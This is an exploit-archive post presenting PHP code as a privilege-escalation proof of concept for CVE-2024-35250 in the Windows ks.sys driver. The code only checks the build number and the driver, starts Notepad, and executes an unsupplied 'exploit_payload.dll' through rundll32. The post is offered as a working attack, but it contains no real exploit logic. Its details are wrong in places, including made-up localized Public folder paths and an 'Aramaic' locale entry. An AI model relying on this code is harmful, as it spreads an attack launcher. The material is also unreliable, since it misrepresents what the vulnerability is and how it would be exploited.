📄 Microsoft Windows 10 Famille 10.0.19045.5487 (rundll32) Privilege Escalation

=============================================================================================================================================
    | # Title     : Microsoft Windows 10 Famille 10.0.19045.5487 (rundll32) Privilege Escalation                                                |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 136.0.0 (64 bits)                                                            |
    | # Vendor    : https://www.Microsoft.com                                                                                                   |
    =============================================================================================================================================
    
    POC :
    
    [+] Dorking İn Google Or Other Search Enggine.
    
    [+] Code Description: This code is written in PHP and aims to exploit a Local vulnerability in Windows if the system is infected, with support for all different languages, ensuring the correct path to use the payload is specified.
                          
    					  Exploiting CVE-2024-35250 vulnerability in Windows with support for all languages ​​and running payload via rundll32
    
        (Related : https://packetstorm.news/files/id/182984/ Related CVE numbers: 	CVE-2024-35250) .
    
    [+] Usage : php poc.php 
    
    [+] PayLoad :
    
    
    <?php
    /**
     * استغلال ثغرة CVE-2024-35250 في Windows مع دعم جميع اللغات
     */
    
    function getWindowsLCID() {
        $output = shell_exec('wmic os get locale /value');
        preg_match('/Locale=(\w+)/', $output, $matches);
        return isset($matches[1]) ? hexdec($matches[1]) : 1033; // الافتراضي: الإنجليزية
    }
    
    function localeToLanguage($locale) {
        $languages = [
            1033 => ['English', 'C:\\Users\\Public\\'], // en-US
            1036 => ['French', 'C:\\Utilisateurs\\Public\\'], // fr-FR
            3082 => ['Spanish', 'C:\\Usuarios\\Public\\'], // es-ES
            1046 => ['Portuguese', 'C:\\Usuários\\Public\\'], // pt-BR
            1031 => ['German', 'C:\\Benutzer\\Öffentlich\\'], // de-DE
            1049 => ['Russian', 'C:\\Пользователи\\Общие\\'], // ru-RU
            1056 => ['Persian', 'C:\\کاربران\\عمومی\\'], // fa-IR
            1025 => ['Arabic', 'C:\\المستخدمون\\عام\\'], // ar-SA
            1101 => ['Hindi', 'C:\\Users\\Public\\'], // hi-IN (نفس الإنجليزية)
            1114 => ['Aramaic', 'C:\\משתמשים\\ציבורי\\'], // الآرامية
            1037 => ['Hebrew', 'C:\\משתמשים\\ציבורי\\'], // he-IL
            2052 => ['Chinese (Simplified)', 'C:\\用户\\公共\\'], // zh-CN
            1028 => ['Chinese (Traditional)', 'C:\\使用者\\公用\\'], // zh-TW
            1041 => ['Japanese', 'C:\\ユーザー\\パブリック\\'], // ja-JP
            1042 => ['Korean', 'C:\\사용자\\공용\\'], // ko-KR
            1054 => ['Thai', 'C:\\ผู้ใช้\\สาธารณะ\\'], // th-TH
            1066 => ['Vietnamese', 'C:\\Người dùng\\Công cộng\\'], // vi-VN
        ];
    
        return $languages[$locale] ?? ['Unknown', 'C:\\Users\\Public\\']; // الافتراضي: الإنجليزية
    }
    
    function getPublicPath() {
        $locale = getWindowsLCID();
        list($lang, $path) = localeToLanguage($locale);
        echo "[+] لغة النظام: $lang (LCID: $locale)\n";
        return $path;
    }
    
    function is64BitWindows() {
        return (PHP_INT_SIZE === 8);
    }
    
    function checkVulnerableDriver() {
        $winDir = getenv('WINDIR');
        $driverPath = $winDir . '\\system32\\drivers\\ks.sys';
    
        if (!file_exists($driverPath)) {
            die("[X] لم يتم العثور على ks.sys، النظام غير قابل للاستغلال.\n");
        }
    
        echo "[+] ks.sys موجود في المسار: $driverPath\n";
        return true;
    }
    
    function getWindowsBuildNumber() {
        $output = shell_exec('wmic os get BuildNumber /value');
        preg_match('/BuildNumber=(\d+)/', $output, $matches);
        return $matches[1] ?? null;
    }
    
    function isVulnerableVersion($buildNumber) {
        $vulnerableBuilds = range(14393, 19045); // من Windows 10 1607 إلى Windows 10 22H2
        return in_array($buildNumber, $vulnerableBuilds);
    }
    
    function exploit() {
        if (!is64BitWindows()) {
            die("[X] النظام ليس 64 بت، الاستغلال غير ممكن.\n");
        }
    
        if (!checkVulnerableDriver()) {
            die("[X] لا يمكن متابعة الاستغلال.\n");
        }
    
        $buildNumber = getWindowsBuildNumber();
        if (!$buildNumber || !isVulnerableVersion($buildNumber)) {
            die("[X] إصدار Windows غير مدعوم: $buildNumber\n");
        }
    
        echo "[+] تم التحقق من الثغرة، سيتم تنفيذ الهجوم الآن...\n";
    
        $publicPath = getPublicPath();
        $payloadPath = $publicPath . "exploit_payload.dll";
    
        echo "[+] سيتم استخدام المسار: $payloadPath\n";
    
        $notepad = shell_exec('start /B notepad.exe'); // تشغيل notepad لاستضافة الـ DLL
        sleep(1);
    
        echo "[+] تم تشغيل Notepad، تنفيذ الحمولة...\n";
        shell_exec("rundll32 $payloadPath,Inject"); // تحميل الحمولة عبر rundll32
    }
    
    exploit();
    ?>
    
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================